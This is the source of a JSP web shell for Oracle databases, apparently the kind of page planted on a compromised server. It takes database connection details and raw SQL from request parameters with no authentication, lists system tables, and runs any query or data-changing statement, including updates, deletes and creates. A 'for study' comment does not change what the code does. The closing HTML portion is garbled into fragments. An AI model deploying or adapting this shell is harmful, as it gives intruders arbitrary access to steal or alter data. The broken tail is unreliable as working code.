%@ page contentType="text/html;charset=gb2312"%>
<%@ page import="java.lang.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="java.util.*"%>
<%@ page import="java.io.*"%>
<%!
/**
*
* this tool only for study
* you can find this everywhere
*/
//test fun
public List testconn(java.lang.String url, java.lang.String user,
java.lang.String password) throws java.lang.Exception {
Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
Connection conn = DriverManager.getConnection(url, user, password);
String sql = "SELECT * FROM DBA_TABLES WHERE TABLE_NAME not like '%$%' and num_rows>0 and rownum<10";
Statement stmt = conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,
ResultSet.CONCUR_UPDATABLE);
ResultSet rs = stmt.executeQuery(sql);
List list = new Vector();
list.add(new String[]{"some system tables!","good luck!"});
while (rs.next()) {
java.lang.String str[] = new java.lang.String[2];
str[0] = rs.getString("owner");
str[1] = rs.getString("table_name");
list.add(str);
}
rs.close();
stmt.close();
conn.close();
return list;
}
/**getConn
*/
public Connection getConn(String url, String user, String password)
throws java.lang.Exception {
Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
return DriverManager.getConnection(url, user, password);
}
/**to exec the sql query.
*/
public List getSqlExecuteContext(String sql, String url, String user,
String password) throws java.lang.Exception {
Connection conn = getConn(url, user, password);
Statement stmt = conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,
ResultSet.CONCUR_UPDATABLE);
ResultSet rs = stmt.executeQuery(sql);
ResultSetMetaData rsma = rs.getMetaData();
int inttmp = rsma.getColumnCount();
List listcolum = new Vector();
for (int i = 0; i < inttmp; i++) {
listcolum.add(rsma.getColumnName(i+1));
}
List list = new Vector();
list.add(listcolum);
while (rs.next()) {
List listRsValue = new Vector();
for (int i = 0; i < inttmp; i++) {
listRsValue.add(rs.getObject(i + 1));
}
list.add(listRsValue);
}
rs.close();
stmt.close();
conn.close();
return list;
}
/**execute update,delete,proc,create and so on...
*/
public int executeUpdate(String sql, String url, String user,
String password) throws java.lang.Exception {
Connection conn = getConn(url, user, password);
Statement stmt = conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,
ResultSet.CONCUR_UPDATABLE);
int i = stmt.executeUpdate(sql);
conn.commit();
stmt.close();
conn.close();
return i;
}
/**to invoke other fun
*/
public List toFuckLZ(String str, String url, String user, String password) {
List list = new Vector();
if (str==null||str.length()<7)
{
return list;
}
if (str.substring(0, 6).toLowerCase().equals("select")) {
try {
list = getSqlExecuteContext(str, url, user, password);
} catch (Exception ex) {
list.add(ex.getMessage());
}
} else {
try {
list.add("success to yingxiang ji lu "
+ executeUpdate(str, url, user, password) + " tiao !");
} catch (Exception ex) {
list.add(ex.getMessage());
}
}
return list;
}%>
<%
//globol
String action = "";
action = request.getParameter("action");
String oracle_config_db_username = "";
String oracle_config_db_password = "";
String oracle_config_db_ip = "";
String oracle_config_db_sid = "";
String oracle_config_db_port = "";
String oracle_config_db_url = "";
if (action == null) {
//config
%>
oracle execute...
all Parameter
url ,dbuser,dbname
select the em |
|
sql: | |
result: |
"+listwaiceng.get(j)+" | "; }catch(Exception ex){ strResponse += "error! to check you sql! "+listtmp; break; } } strResponse += "